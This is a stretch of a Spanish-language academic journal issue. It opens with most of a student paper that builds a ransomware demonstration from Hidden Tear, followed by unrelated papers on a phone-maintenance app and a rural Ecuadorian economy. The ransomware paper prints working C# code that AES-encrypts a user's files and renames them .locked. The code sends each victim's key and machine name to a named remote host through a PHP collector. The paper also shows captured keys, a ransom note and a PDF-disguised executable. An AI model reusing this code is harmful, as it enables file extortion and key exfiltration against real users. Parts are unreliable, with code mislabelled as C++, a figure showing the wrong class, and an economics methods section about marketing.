En esta sección se presenta un hosting llamado 000webhost que se utiliza para poder albergar la generación de un archivo .txt el cual contiene la contraseña asignada para poder descifrar los archivos contagiados, como también se utiliza un método llamada Hidden Tear de código abierto que es basado en el algoritmo de encriptación AES.

Esta sección detalla la información que se utilizó como base para el desarrollo del modelo, como la capacitación y las pruebas de la propuesta.

Este hosting contiene un archivo escrito en PHP con el cual se programan las instrucciones para poder obtener la clave con el método get y también la creación del archivo Key.txt en el cual se va pedir escribir el nombre de la pc y también la contraseña.

```

/public_html/ras/ranson.php
1  <?php
2  $info = $_GET ['info'];
3  $file = fopen('Key.txt', 'a');
4  fwrite($file, $info. "". PHP_EOL);
5  fclose($file);
6  ?>

```

Fig. 1. Sample of the ranson.php.

En este apartado se muestra el archive key.txt como es llenado después del ataque

```

/public_html/ras/Key.txt
1
2  DESKTOP-Q7LGE86-adair villarreal 9k0J06ecLmYQqg*
3  DESKTOP-Q7LGE86-adair villarreal 9arVZKP/A8
4  DESKTOP-Q7LGE86-adair villarreal !
5  DESKTOP-Q7LGE86-adair villarreal FSZIBN8hm53r6HI
6  DESKTOP-Q7LGE86-adair villarreal Fg6sta0e!Z7neD8
7  DESKTOP-Q7LGE86-adair villarreal =/uf0v/2x!=SFAx
8  CRIZIZ-Cristopher Rosero AZw?M!FSpBBLBM
9

```

Fig. 2. Sample of the Key.txt.

Esto tiene que estar alojado en un servidor remoto para que se pueda tener acceso desde cualquier sitio con acceso a internet.

Nombre	Tamaño	Fecha	Permisos
☒ Key.txt	0.3 kB	2019-01-29 17:30:00	-rw-r--r--
☐ ranson.php	0.1 kB	2019-01-29 14:29:00	-rw-r--r--

Fig. 3. Alojamiento de archivos para obtener contraseña.

Métodos

En esta sección se detalla el algoritmo de cifrado que se utiliza para el proceso de secuestro del archivo, directorio o el lugar seleccionado para la demostración.

El algoritmo de cifrado a utilizarse es el Advanced Encryption Standard (AES), el tamaño de bloques de 128 bits siempre mientras que el tamaño de la clave puede variar entre los 128, 192 y 256 bits. Sin embargo, si aumenta el tamaño de la clave, también lo hace el número de rondas necesarias para cifrar.

Tamaño de la clave	Número de rondas
128	10
192	12
256	14

Tabla 1 Número de Rondas.

En AES y dentro de cada ronda la entrada es un bloque de 128 bits y la salida también, a estos 128 bits que van cambiando a lo largo de la ronda y de todo el proceso se les llama estado.

La matriz de estado contiene los 16 bytes puestos por columnas.

Fig. 4. Gráfico de división de Bloques de 128 bits.

Matriz de estado

1 ^o	5 ^o	9 ^o	13 ^o
2 ^o	6 ^o	10 ^o	14 ^o
3 ^o	7 ^o	11 ^o	15 ^o
4 ^o	8 ^o	12 ^o	16 ^o

Fig. 5. Matriz de estado.

Hidden Tear

Al ser el primer troyano ransomware de código abierto que se dirige a computadoras que ejecutan Microsoft Windows, cuando Hidden Tear está activado, cifra ciertos tipos de archivos usando un algoritmo AES simétrico, luego envía la clave simétrica a los servidores de control del malware.

Las principales características de Hidden Tears son:

- Utiliza un cifrado AES para secuestrar los archivos del usuario.
- Muestra un mensaje similar al que muestran las piezas de malware más peligrosas cuando la infección y el cifrado se completan.
- Envía la clave de cifrado a un servidor remoto.
- Genera un archivo de texto en el escritorio con el correspondiente mensaje.
- Ocupa tan sólo 12KB.

Este modelo es basado en hidden tear el cual es escrito en el lenguaje de programación c++ el cual está formado de 8 clases.

La primera clase se llama Form1 en el cual podemos especificar la dirección de nuestro servidor para enviar la contraseña remotamente.

```
public partial class Form1 : Form
{
    //Url to send encryption password and computer info
    string targetURL = "https://encrip.000webhostapp.com/ras/ranson.php?info=";
    string userName = Environment.UserName;
    string computerName = System.Environment.MachineName.ToString();
    string userDir = "C:\\Users\\";
```

Fig. 5. Configuración de conexión a servidor.

En la siguiente clase llamada AES_Encrypt vamos a realizar el proceso de cifrar los archivos con el algoritmo AES-256.

```

public byte[] AES_Encrypt(byte[] bytesToBeEncrypted, byte[] passwordBytes)
{
    byte[] encryptedBytes = null;
    byte[] saltBytes = new byte[] { 1, 2, 3, 4, 5, 6, 7, 8 };
    using (MemoryStream ms = new MemoryStream())
    {
        using (RijndaelManaged AES = new RijndaelManaged())
        {
            AES.KeySize = 256;
            AES.BlockSize = 128;

            var key = new Rfc2898DeriveBytes(passwordBytes, saltBytes, 1000);
            AES.Key = key.GetBytes(AES.KeySize / 8);
            AES.IV = key.GetBytes(AES.BlockSize / 8);

            AES.Mode = CipherMode.CBC;

            using (var cs = new CryptoStream(ms, AES.CreateEncryptor(), CryptoStreamMode.Write))
            {
                cs.Write(bytesToBeEncrypted, 0, bytesToBeEncrypted.Length);
                cs.Close();
            }
            encryptedBytes = ms.ToArray();
        }
    }

    return encryptedBytes;
}

```

Fig. 6. Clase AES_Encrypt.

Luego se ha creado la clase llamada CreatePassword la cual está formada con los caracteres que se elegirán de forma random para formar la clave en nuestro caso se ha utilizado combinación de mayúsculas, minúsculas, números y signos.

```

public string CreatePassword(int length)
{
    const string valid = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890*!&?&/'";
    StringBuilder res = new StringBuilder();
    Random rnd = new Random();
    while (0 < length--) {
        res.Append(valid[rnd.Next(valid.Length)]);
    }
    return res.ToString();
}

```

Fig. 7. Clase CreatePassword.

La clase denominada Sendpassword es utilizada para enviar la clave a nuestro PHP que se encargará de plasmarla en nuestro archivo Key.txt

```

public void SendPassword(string password){

    string info = computerName + "-" + userName + " " + password;
    var fullUrl = targetURL + info;
    var conent = new System.Net.WebClient().DownloadString(fullUrl);
}

```

Fig. 8. clase sendpassword.

En la clase llamada EncryptFile aquí se crea la clave por con el estándar SHA 256 como también se cambia la extensión a del archive a locked.

```

public void EncryptFile(string file, string password)
{

    byte[] bytesToBeEncrypted = File.ReadAllBytes(file);
    byte[] passwordBytes = Encoding.UTF8.GetBytes(password);

    // Hash the password with SHA256
    passwordBytes = SHA256.Create().ComputeHash(passwordBytes);

    byte[] bytesEncrypted = AES_Encrypt(bytesToBeEncrypted, passwordBytes);

    File.WriteAllBytes(file, bytesEncrypted);
    System.IO.File.Move(file, file+".locked");

}

```

Fig. 9. Clase EncryptFile.

La Clase encryptDirectory es fundamental para especificar el ataque ya que en estas clases podemos elegir el tipo de extensión que tiene el objetivo.

```

public void messageCreator()
{
    string path = "\\Desktop\\adair\\leeme.txt";
    string fullpath = userDir + userName + path;
    string[] lines = { "Sus Archivos se encuentran Encriptados " };
    System.IO.File.WriteAllLines(fullpath, lines);
}

```

Fig. 10. Clase encryptDirectory.

Luego de esto viene la clase denominada startAction en la cual elegimos la extensión de nuestra clave como también especificamos la carpeta que queremos infectar.

```
public void startAction()
{
    string password = CreatePassword(15);
    string path = "\\Desktop\\adair";
    string startPath = userDir + userName + path;
    SendPassword(password);
    encryptDirectory(startPath,password);
    messageCreator();
    password = null;
    System.Windows.Forms.Application.Exit();
}
```

Fig. 11. Clase startAction.

Y para finalizar tenemos la clase messageCreator la que contiene el código para crear un archivo llamado léeme.txt en el cual está el mensaje que necesitamos poner para que lea la víctima.

```
public void messageCreator()
{
    string path = "\\Desktop\\adair\\leeme.txt";
    string fullpath = userDir + userName + path;
    string[] lines = { "Sus Archivos se encuentran Encriptados " };
    System.IO.File.WriteAllLines(fullpath, lines);
}
```

Fig. 12. Clase messageCreator.

A la víctima le llega el archivo con el logotipo de un pdf, pero la extensión es .exe

Fig. 13. Archivos utilizados para la demostración y el archivo Ransomware visto como archivo .pdf.

Para la gestión de víctimas y las generaciones de claves de descifrado se desarrolló un sitio web fácil para su uso e incluso se puede descargar el archive malicioso alojado en la página <https://encrip.000webhostapp.com> en el botón que dice infección

Fig. 14. Sitio web para la gestión y administración de claves de descifrado

2. RESULTADOS Y DISCUSIÓN

Luego de un proceso de búsqueda bibliográfica sobre el tema se obtuvo el conocimiento necesario para el desarrollo de la aplicación y la demostración, se desarrolló lo indicado en el código libre de Ransomware Hidden Tear así también se generó las clase, archivos y conexiones necesarias para poder realizar la demostración, ya con todos los elementos disponibles se realizó una serie de pruebas y se demostró que se puede cifrar ya sea un archivo o archivos contenidos en un directorio específico o incluso en una unidad de disco duro, el tiempo de cifrado depende del tamaño o número de archivos utilizados en el directorio seleccionado. Así también se realizó el descifrado de los archivos y volverlos a su estado original y demostrando que no sufren mayor cambio, a excepción de imágenes que sufren una leve disminución de la resolución.

REFERENCIAS BIBLIOGRÁFICAS

Avast 2018, informe de seguridad Malware & Antimalware, recuperado de:
<https://www.avast.com/es-es/c-malware>.

Ali A. (2017), Ransomware: A research and a personal case study of dealing with this nasty malware, *Issues Informing Sci. Inf. Technol.*, vol. 14, pp. 87-99.

Borrayo, V., & Arias, D. 2017, *Sistema servidor-cliente seguro para la verificación de autenticidad de archivos por medio de algoritmos digest HASH reestadarizados. 2017 IEEE Central America and Panama Student Conference (CONESCAPAN)*.doi:10.1109/conescapan.2017.8277599

E. Skoudis, L. Zeltser, 2004, *Malware: Fighting Malicious Code*, Upper Saddle River, NJ, USA:Prentice-Hall,

García L., Sandoval A., López A., Armas E., Kim T. (2018), Ransomware Automatic Data Acquisition Tool recuperado de: <https://ieeexplore.ieee.org/document/8478275>

Glassberg J. 2018, Defending Against the Ransom Ware Threat, recuperado de: http://www.elp.com/articles/powergrid_international/print/volume-21/issue-8/features/defending-against-the-ransom-war-threat.html.

Hielscher, R. P., & Delgado, V. (2006). Introducción a la Criptografía: tipos de algoritmos. Paper presented at the *anales de mecánica y electricidad*.

Joan Daemen, Vincent Rijmen, 2013, *Computers AES - The Advanced Encryption Standard*
Joan Daemen, Vincent Rijmen ... cards,” *Proc. of the 2nd AES candidate conference*, March 22–23, 1999, Rome, pp.

Kaba, I. (2008). *Elementos básicos de comercio electrónico*. Editora Universitaria, La Habana

Kharraz A., Robertson W., Balzarotti D., Bilge L., Kirda E., 2015, Cutting the gordian knot: A look under the hood of ransomware attacks, *Proc. 12th Int. Conf. Detection Intrusions Malware Vulnerab. Assessment (DIMVA)*, pp. 3-24

Oñate 2016, Plataformas de ejercicios de ciberseguridad

Pousa A, 2011, Tesis de especialización, Algoritmo de cifrado simétrico AES, Universidad Nacional de la Plata, Argentina, recuperado de: <http://sedici.unlp.edu.ar/handle/10915/4210>

Salvi H., Kerkar R., 2016, Ransomware: A cyber extortion, *Asian J. Conver. Technol.*, vol. 2, pp. 1.

Yandún M, Flores M. 2018, tesis de maestría, Nivel de aplicación de seguridad informática para evitar la fuga de información en las Cooperativas de Ahorro y Crédito de la Zona 1 del Ecuador, Universidad de Especilidades Espíritu Santo, Samborondón, Ecuador

BIOGRAFÍA DEL AUTOR

Marco Antonio Yandun Velastegui, Magister en Auditoria de Tecnologías de la Información por la Universidad Espíritu Santo – UEES – Samborondón Guayas, Magister en Sistemas Informáticos Educativos por la Universidad Israel – UISRAEL - Quito – Pichincha, Docente de las Cátedras de Ingeniería del Software, Lenguajes de Programación, Seguridad Informática en la Universidad Politécnica Estatal del Carchi – desde octubre 2016, Supervisor de Seguridades Físicas y Lógicas, Jefe Encargado de Tecnología en la Cooperativa de Ahorro y Crédito Tulcán entre abril 2012 y septiembre 2016

Jairo Vladimir Hidalgo Guijarro, Magister en Redes de Comunicaciones por la Universidad Católica del Ecuador. Ingeniero en Informática. Tecnólogo en Informática, Se desempeñó como: Coordinador del Sistema Nacional de Nivelación y Admisión-UPEC. Administrador de la Unidades de Redes y Telecomunicaciones-UPEC. Docente Ocasional TC en la Escuela de Administración de Empresas y Marketing (EAEM) 2010-2013, Docente MT. Escuela de Industrias Agropecuarias y Ciencias Ambientales (EDIA) de la Universidad Politécnica Estatal del Carchi 2015-2016. Docente Ocasional desde 2010, Docente Titular Agregado TC, desde el 2016 en la Universidad Politécnica Estatal del Carchi.

Samuel Benjamín Lascano Rivera, Magister en Ingeniería de Software por la Universidad Técnica del Norte - Ecuador. Docente de las cátedras de Ingeniería de Software, Análisis de Algoritmos, desarrollo de aplicaciones Móviles, desde el 2016 en la Universidad Politécnica Estatal del Carchi.

Byron Adair Villarreal García, Estudiante de decimo nivel de la carrera de ingeniería en Informática de la Universidad Politécnica Estatal del Carchi.

**APLICACIÓN INFORMÁTICA QUE PERMITA EL MANTENIMIENTO
PREVENTIVO EN SMARTPHONE DE GAMA BAJA**

Denny Vanessa Toala Figueroa

Abraham Jacobo Villacres Soledispa

Jacqueline Lisseth Baque Suarez

José Luis Moreira Vélez

Lcda Kirenia Maldonado Zuñiga. Mg.

UNIVERSIDAD ESTATAL DEL SUR DE MANABÍ

denfigueroa1990@hotmail.com

RESUMEN

Esta investigación permitió crear una aplicación móvil para conocer el estado de un Smartphone de gama baja, no solo se han vuelto tendencia, sino que también ya son una necesidad que de manera muy rápida se ha vuelto parte de la vida cotidiana, con un alto índice de daño en los Smartphone de gama baja debido a la falta de prevención en los dispositivos móviles, la telefonía celular ha creado una nueva industria alrededor de las telecomunicaciones móviles, estos dispositivos que por sus características permiten estar conectados a la red, convirtiéndolos en una herramienta de trabajo para unos, adicción para otros e indispensable para la mayoría de los usuarios. Es importante aclarar que esta idea no es considerada una innovación radical con la que se pretende arrasar con el mercado existente. Una gran oportunidad de éxito es desarrollar una aplicación informática para el mantenimiento preventivo en Smartphone de gama baja. En la investigación se utilizaron los siguientes métodos, histórico-lógico, bibliográfico-documental, análisis-síntesis. Los resultados fueron los esperados, la aplicación funciono perfectamente, por medio de esta App se realizaron diversas funciones tales como: verificar estado de la batería, limpiar cache, mostrar características, detener procesos, enciende/ apaga linterna y borrar llamadas. Esta aplicación contiene herramientas necesarias para mantener el

móvil en estado óptimo. Se desarrolló una aplicación informática que permitió optimizar los recursos de un móvil de categoría gama media baja debido a que los celulares antes mencionados no incluyen esta opción en su sistema por sus bajos recursos.

PALABRAS CLAVE: aplicación, herramienta, inconveniente, oportunidad, smartphone.

ABSTRACT

This research allowed us to create a mobile application to know the status of a low-end smartphone, not only have they become a trend, but they are also a necessity that has become very quickly part of everyday life, with a high rate of damage in the low-end Smartphone due to the lack of prevention in mobile devices, cell phones have created a new industry around mobile telecommunications, these devices that by their characteristics allow to be connected to the network, turning them into a tool of work for some, addiction for others and indispensable for the majority of users. It is important to clarify that this idea is not considered a radical innovation with which it is intended to wipe out the existing market. A great opportunity for success is to develop a computer application for preventive maintenance in low-end Smartphone. In the research, the following methods were used: historical-logical, bibliographic-documentary, analysis-synthesis. The results were the expected, the application worked perfectly, through this App various functions were performed such as: check battery status, clean cache, show features, stop processes, turn on / off flashlight and delete calls. This application contains necessary tools to keep the mobile in optimal state. A computer application was developed that allowed to optimize the resources of a low-mid-range mobile phone because the aforementioned cell phones do not include this option in their system due to their low resources.

KEYWORDS: application, inconvenient, opportunity, smartphone, tool

1. INTRODUCCIÓN

Las aplicaciones móviles permiten conocer el estado de nuestro Smartphone de gama baja, no solo se han vuelto tendencia, sino que también ya son una necesidad que de manera muy rápida se ha vuelto parte de la vida cotidiana de muchas personas, los teléfonos celulares ya no solo son un lujo con los que algunos cuentan ya que también se utilizan para el trabajo y estudio de muchos.

Según las estadísticas de telecomunicaciones casi el 75% de la población total mundial cuenta por lo menos con un teléfono celular, datos que realmente son impresionantes y es por esto que se ha llegado a la necesidad de realizar una aplicación que permita verificar el rendimiento de un teléfono celular para la prevención y cuidado del mismo.

El objetivo principal de esta acción formativa es Desarrollar una aplicación informática para el mantenimiento preventivo en Smartphone la cual aplicaremos a la materia mantenimiento preventivo de software así mismo Métodos Numéricos que es una asignatura que proporciona las herramientas necesarias para resolver problemas matemáticos que suelen resultar tediosos.

Se realizará una introducción inicial de todo el conjunto de tecnologías que forman Android y el análisis de cada uno de sus componentes de forma separada y cómo interactúan entre ellos para desarrollar aplicaciones esta parte del proyecto será aplicada a la materia sistemas de la información debido a que los sistemas de información ayudan a administrar, recolectar, recuperar, procesar, almacenar y distribuir información relevante para los procesos fundamentales y las particularidades de cada organización. Así mismo interactúan entre sí con un fin común.

Se requieren conocimientos básicos de la materia programación y del uso de Java, así como tener nociones de Android desde un punto de vista de desarrollador.

Otra de las materias integradoras en este proyecto son base de datos y red de datos, es sumamente importante saber distinguir ambas a la hora de programar debido a que base de datos es una colección de información organizada de forma que un programa de ordenador pueda seleccionar rápidamente los fragmentos de datos que necesite. Y red de datos que es un conjunto de equipos de informática y software que se encuentran conectados entre ellos de la mano de dispositivos de tipo físico que envían y reciben impulsos eléctricos u ondas constantemente.

DESARROLLO

La telefonía celular ha creado una nueva industria alrededor de las telecomunicaciones móviles, brindando servicios de internet y llamadas de voz a través de Smartphone, dispositivos que por sus características permiten estar conectados a la red, convirtiéndolos en una herramienta de trabajo para unos, adicción para otros e indispensable para la mayoría de los usuarios. Las cifras

de este mercado y las necesidades de los usuarios muestran un escenario atractivo para la implementación de nuestra idea de negocio. Lo que proponemos es realizar actualizaciones de software para resolver problemas de Smartphone, llegando hasta donde se encuentre el cliente, combinando tecnología y transporte a través de un servicio confiable, oportuno y efectivo. Para ello concebimos a Exphonencial Solutions como una organización que opera en la ciudad de Guayaquil enfocada en atender a usuarios de teléfonos inteligentes, en el ambiente seguro de su hogar o lugar de trabajo, en un tiempo oportuno menor a una hora, de manera efectiva y a un precio justo, similar al precio de la informalidad, sin incurrir en lo oneroso del operador celular. Este servicio enfrenta a un grupo de competidores conformados por servicios técnicos de operadoras celulares y servicios técnicos independientes/informales, cuyas ventajas competitivas son el reconocimiento del mercado y el menor precio, respectivamente, lo que nos orienta a considerar cómo analizar y desarrollar un modelo de negocio que potencie ventajas competitivas y colaborativas. (Durán, 2013)

“Aplicación Móvil para registro, control y gestión de información de Mantenimiento”

Universidad de Chile. Postgrado Economía y Negocios, 23 de Julio de 2016

Autor(a): Jaime Rodríguez Vergara.

READY SPA será una empresa de servicios enfocada en la gestión de información del Mantenimiento por medio de un software, para ser aplicado en equipos de compañías mineras y para empresas de servicios de Mantenimiento, ofreciéndoles a través de una sencilla y amigable aplicación móvil, la posibilidad de mejorar sustancialmente la gestión del Mantenimiento mediante la captura y uso de la información, de manera rápida, oportuna y fidedigna. La solución que READY ofrecerá a sus clientes permitirá aumentar la productividad de sus tareas y personal, permitiendo así:

- Aumentar la disponibilidad de los equipos.
- Disminuir los tiempos de evaluación y reparación de los equipos.
- Evitar tomar decisiones erradas en torno al Mantenimiento, debido a no contar con la información oportuna en tiempo y calidad.

En vista de la situación actual mundial de la minería y del país, se torna relevante los conceptos de productividad, para lo cual se requiere innovar y mejorar los procesos productivos al interior de cada empresa. En el mercado actual chileno, sólo existen 2 empresas que ofrezcan un servicio con algunas características de READY, y otros 2 competidores que están próximos a salir al mercado, de iguales características que los competidores actuales. Esta competencia no genera un gran impacto debido a que entre ellas no alcanzan el 1% del market share de la industria actual y además la solución ofertada no cuenta con las ventajas competitivas de READY. (Rodríguez, 2016)

Plan de negocios para una nueva cadena de locales de servicio técnico y venta de accesorios para Smartphones

Universidad de Chile. Facultad de Ciencias Físicas y Matemáticas departamento de Ingeniería Industrial, 2015

Autor(a): Sebastián Beovic Koifman.

La idea de realizar este trabajo nace a partir de Nicolás Barry, Andrés Turski y Tomás Bercovich, tres socios de negocios y grandes casos de éxito en emprendimiento en Chile. Estos inversionistas ven una oportunidad en el mercado de los servicios complementarios para Smartphones. La inquietud se origina a partir del explosivo crecimiento en el uso de celulares inteligentes que se ha producido en los últimos años, y en la experiencia que ellos mismos han tenido al buscar servicios técnicos para sus aparatos: Cuesta encontrar locales en lugares cómodos, y entre los que existen, muchos no poseen una adecuada atención y su servicio es deficiente. Además, como se analizará en detalle más adelante, la venta tanto de accesorios (carcasas, baterías, cables, etc.) como de repuestos maneja márgenes considerablemente altos. Efectivamente, todo indica que el mercado de los Smartphones está y continuará estando en fuerte crecimiento. Según una encuesta aplicada a 800 adultos chilenos el 2013, más de un 90% de los chilenos tiene un celular, de los cuales un 39% (de los adultos) afirma que éste corresponde a un Smartphone. Es decir, existe una penetración cercana al 25%, cuando según la SUBTEL en el 2012 ésta alcanzaba a penas un 20%, por lo que el rápido crecimiento es evidente. Esto corresponde a más de 4 millones de nuevos Smartphones al año (y en aumento), lo cual genera una gran demanda en servicios anexos como lo son los accesorios y el servicio

técnico para las más de 12 marcas y los cerca de 10 millones de equipos proyectados para el 2014 en el mercado.

Es importante aclarar que esta idea no es considerada una innovación radical con la que se pretende arrasar con el mercado existente, y la hipótesis y principal foco está en el potencial de este mercado y en la creencia de que haciendo bien las cosas existe una gran oportunidad de éxito. A través del estudio de mercado se pretende planear una estrategia que facilite la entrada al mercado, y que junto con el resto del plan permita hacerse un lugar entre la competencia, posicionarse y finalmente alcanzar la participación deseada, además de concluir en cuanto a la conveniencia de implementación del negocio en base a las proyecciones que se estimen. Todo esto se busca generar y validar en el presente trabajo. (Beovic, 2015)

2. MATERIALES Y MÉTODOS

Histórico-lógico: para el desarrollo de la investigación con la obtención de los historiales sobre la seguridad informática.

Bibliográfico-documental: empleando en el periodo de la colección de información del tema para el proceso de la gestión de la inspección mediante libros web, páginas web, internet, revistas científicas etc.

Análisis-síntesis: se utilizó de este método en el desarrollo de análisis de los resultados para realizar la ampliación y las conclusiones en el trabajo de investigación.

3. RESULTADOS Y DISCUSIÓN

Los resultados fueron los esperados, la aplicación funciona perfectamente para lo que fue diseñada por medio de esta App se realizaron diversas funciones tales como: Verificar estado de la batería, limpiar cache, mostrar características, detener procesos, enciende/ apaga linterna y borrar llamadas. Esta aplicación es muy fácil de usar para el usuario, y contiene herramientas muy necesarias para mantener el móvil en estado óptimo.

4. CONCLUSIONES

- Se analizó el desarrollo de aplicaciones Android y por medio de esto se desarrolló una aplicación informática que permitió optimizar los recursos de un dispositivo móvil de

categoría gama media baja debido a que los celulares de la gama antes mencionada no incluyen esta opción en su sistema por sus bajos recursos.

- Se identificó los recursos de los teléfonos móviles de gama media baja y se llegó a la conclusión de que estos dispositivos son desarrollados con recursos limitados.

REFERENCIAS BIBLIOGRÁFICAS

- Beovic, S. (2015). <http://repositorio.uchile.cl>. Retrieved 02 24, 2019, from <http://repositorio.uchile.cl/bitstream/handle/2250/132850/Plan-de-negocios-para-una-nueva-cadena-de-locales-de-servicio-tecnico-y-venta....pdf;sequence=1>
- Durán, I. A. (2013). <https://www.dspace.espol.edu.ec/retrieve/89237/D-P11838.pdf>. Retrieved 02 23, 2019, from <https://www.dspace.espol.edu.ec/retrieve/89237/D-P11838.pdf>
- Rodriguez, J. (2016, 06 23). <http://repositorio.uchile.cl>. Retrieved 02 24, 2019, from <http://repositorio.uchile.cl/bitstream/handle/2250/143160/Rodriguez%20Vergara%20Jaime.pdf?sequence=2>

BIOGRAFÍA DE AUTORES

Denny Vanessa Toala Figueroa, estudiante de la carrera de Tecnologías de la Información en la Universidad Estatal del Sur de Manabí, graduada de Bachiller en Administración de Sistemas en la Unidad Educativa Experimental Fiscal “15 de Octubre” Jipijapa-Manabí-Ecuador.

Abraham Jacobo Villacreses Soledispa, estudiante de la carrera de Tecnologías de la Información en la Universidad Estatal del Sur de Manabí, graduado de Químico -Biólogo en el Colegio Nacional “Alejo Lascano” Jipijapa-Manabí-Ecuador.

Jacqueline Lisseth Baque Suarez, estudiante de la Carrera Tecnología de la Información de la Universidad Estatal del Sur de Manabí; graduada de Bachiller en Ciencias en la Unidad Educativa Fiscal Quince de Octubre, del Cantón Naranjal – Guayas – Ecuador.

José Luis Moreira Vélez, estudiante de la carrera Tecnologías de la Información de la Universidad Estatal del Sur de Manabí. Bachiller en Técnico en Comercio y Administración Especialidad Computación en el Colegio Técnico Particular “Ciudad de la Juventud” Montecristi-Manabí-Ecuador.

Licda Kirenia Maldonado Zuñiga, Máster en Ciencias de la Educación, Licenciada en Educación Informática, Universidad de Ciencias Pedagógicas, Holguín Cuba.

**BASES ECONÓMICAS EN EL SECTOR RURAL SAN JOSÉ DE PIÑAS CANTÓN JIPIJAPA-
MANABÍ, ECUADOR**

Katherine Lisseth Baque Chilán

Dayana Julissa Toala Calderón

Ec. Robards Javier Lima Pisco. Mg.

UNIVERSIDAD ESTATAL DEL SUR DE MANABÍ

katherine30bachi@gmail.com

dayitcalderon1997@gmail.com

RESUMEN

El presente trabajo tiene su fundamento en los resultados obtenidos de una investigación y análisis para conocer las bases económicas, en el Sector Rural San José de Piñas Cantón Jipijapa- Manabí, Ecuador. El objetivo de esta investigación es desarrollar un análisis exhaustivo de las producciones que se generan en esta parte de la patria para conocer las bases económicas generadoras de ingresos, la economía es considerada una ciencia social que estudia los procesos de extracción, producción, intercambio, distribución y consumo de bienes y servicios. Se realizó un análisis conceptual de esta economía y se determinó que sus moradores tienen la responsabilidad de cuidar la Pachamama o Madre Tierra al momento ejecutar procesos de producción. Se emplearon en forma interrelacionada métodos teóricos y empíricos. Se efectuó una sistematización de diferentes documentos relacionados con el tema de estudio, mediante la utilización de los buscadores Google Académico. Dentro de los resultados se determinó que esta zona es gran productora de maíz, pero al realizarla de manera consecutiva y no dar alternabilidad con otros tipos de cultivos tiene afectaciones a los suelos. Se concluyó que dichos comuneros hagan conciencia ambiental con la aplicabilidad de ciertas costumbres ancestrales.

PALABRAS CLAVE: agricultura, deterioro, exhaustivo, pachamama, producción.

ABSTRACT

The present work has its foundation in the results obtained from a research and analysis to know the economic bases, in the San José de Piñas Rural Sector Canton Jipijapa-Manabí, Ecuador. The objective of this research is to develop an exhaustive analysis of the productions that are generated in this part of the country to know the economic bases generating income, the economy is considered a social science that studies the processes of extraction, production, exchange, distribution and consumption of goods and services. A conceptual analysis of this economy was carried out and it was determined that its inhabitants have the responsibility of taking care of the Pachamama or Mother Earth when executing production processes. Theoretical and empirical methods were used interrelated. A systematization of different documents related to the subject of study was carried out, through the use of Google Scholar search engines. Within the results it was determined that this area is a great producer of corn, but when carried out consecutively and not alternate with other types of crops, it has effects on the soils. It was concluded that these community members raise environmental awareness with the applicability of certain ancestral customs.

KEYWORDS: agricultural, deterioration, exhaustive, pachamama, production.

1. INTRODUCCIÓN

La economía se considera una ciencia social que estudia los procesos de extracción, producción, intercambio, distribución y consumo de bienes y servicios.

El presente trabajo se basa en determinar las bases económicas que generan ingresos al sector rural de piñas en el cantón Jipijapa, mismas que se generan a partir de la actividad agrícola de ciclo corto es decir en época de invierno, por otra parte, este sector por ser un bosque seco es propicio para la cría de chivatos y borregos. Los chivos son especies endémicas de esta zona, aunque han mejorado sus características con relación a sus razas, por ejemplo. De mayor tamaño para mejorar en producción agrícola e inclusive producción láctea misma que no es explotada, por otro lado, los borregos no son animales de especies endémicas son una variedad adaptada, por ejemplo, son de raza africana es decir que se pueden adaptarse a este tipo de clima.

La actividad económica permite la generación de riqueza dentro de una comunidad (ciudad, región y país) mediante la extracción, transformación y distribución de los recursos naturales o bien de algún tipo de servicio y recurso.

En un sentido amplio, la economía se refiere a la organización del uso de recursos escasos (limitado o finito) cuando se implementan para satisfacer las necesidades individuales o colectivas, por lo que es un sistema de interacciones que garantiza ese tipo de organización, también conocido como el sistema económico.

A partir del año 2014 se han presentado cambios significativos en el desarrollo económico el Ecuador, la aplicación de estrategias mediante préstamos bancarios por parte del Gobierno Ecuatoriano, ha permitido que los productores de este sector obtengan un capital para seguir con el desarrollo y producción agrícola como la cría de animales, adicionalmente ha permitido abrir espacios para la acción social desde lo que se ha denominado el Sumak Kawsay (el Buen Vivir), proclama que se constituye como eje de acción del Gobierno de la Revolución Ciudadana (GRC). De esta manera los lineamientos de Estado se han orientado hacia las masas populares que por décadas habían permanecido al margen del desarrollo económico y que representan a la mayoría de los ecuatorianos.

“Un sistema económico es considerado como social y solidario; reconoce al ser humano como sujeto y fin; propende a una relación dinámica y equilibrada entre sociedad, Estado y mercado, en armonía con la naturaleza; y tiene por objetivo garantizar la producción y reproducción de las condiciones materiales e inmateriales que posibiliten el buen vivir. El sistema económico se integrará por las formas de organización económica pública, privada, mixta, popular y solidaria, y las demás que la Constitución determine.

2. MATERIALES Y MÉTODOS

METODOLOGÍA

Una vez abordado el tema desde la perspectiva teórica en base a esta nueva tendencia que describen las relaciones entre usuarios y empresas mediante el Marketing y el uso de redes sociales como herramientas, las cuales conceden de forma directa a seleccionar los asuntos y temáticas que merecen atención informativa, se aborda al análisis del proceso de como las empresas hacen uso de este medio para establecerse en el mercado y competir con sus productos

analizando las diferentes técnicas de mercadeo disponibles en redes sociales, donde se aplicaron los métodos: científico, bibliográfico, inductivo, seleccionando artículos científicos, libros e informes con referencia al tema abordado en el presente artículo, información que se obtuvo del buscador Google Académico.

Las revisiones de las fuentes de información determinaron las directrices para elaborar un modelo investigativo, sustrayendo los temas más importantes y analizándolos en función al tema de la investigación.

3. RESULTADOS Y DISCUSIÓN

Los resultados obtenidos en esta investigación determinan que la economía del sector rural San José de Piñas se basa en la producción y comercialización del maíz, para esta actividad es necesario preparar los suelos que en parte se utiliza costumbres ancestrales, como también la utilización de semillas mejoradas para obtener mayores volúmenes de producción, de la misma manera se utilizan también algunos tipos de agroquímicos. Por ejemplo, fertilizantes, insecticidas, plaguicidas. De la misma manera se logró determinar una constante masificación en la siembra de este producto, no dándole alternabilidad con otras gramíneas que en un momento determinado pueden ocasionar el desgaste de los suelos.

4. CONCLUSIONES

- Se concluyo luego de esta investigación que la economía del sector rural San José de Piñas, cantón Jipijapa se basa en la producción agrícola de ciclo corto entre ellos el maíz.
- Se determinó que los moradores del sector San José de Piñas no dan alternabilidad a los cultivos provocando afectaciones al suelo, inclusive con la utilización de algunos agroquímicos
- Se demostró que las bases económicas de este sector rural de Jipijapa se sustentan de la producción agrícola de ciclo corto.
- La cria de animales chivos y borregos debe ser tecnificada para generar mayores ingresos económicos.

REFERENCIAS BIBLIOGRÁFICAS

Anonimo. (s.f.). Club Planeta. Recuperado el 20 de 12 de 2018, de <https://www.economia.com.mx/articulo.htm>

Anonimo. (s.f.). UAH. Recuperado el 20 de 12 de 2018, de <http://fen.uahurtado.cl/seccion/articulos/>

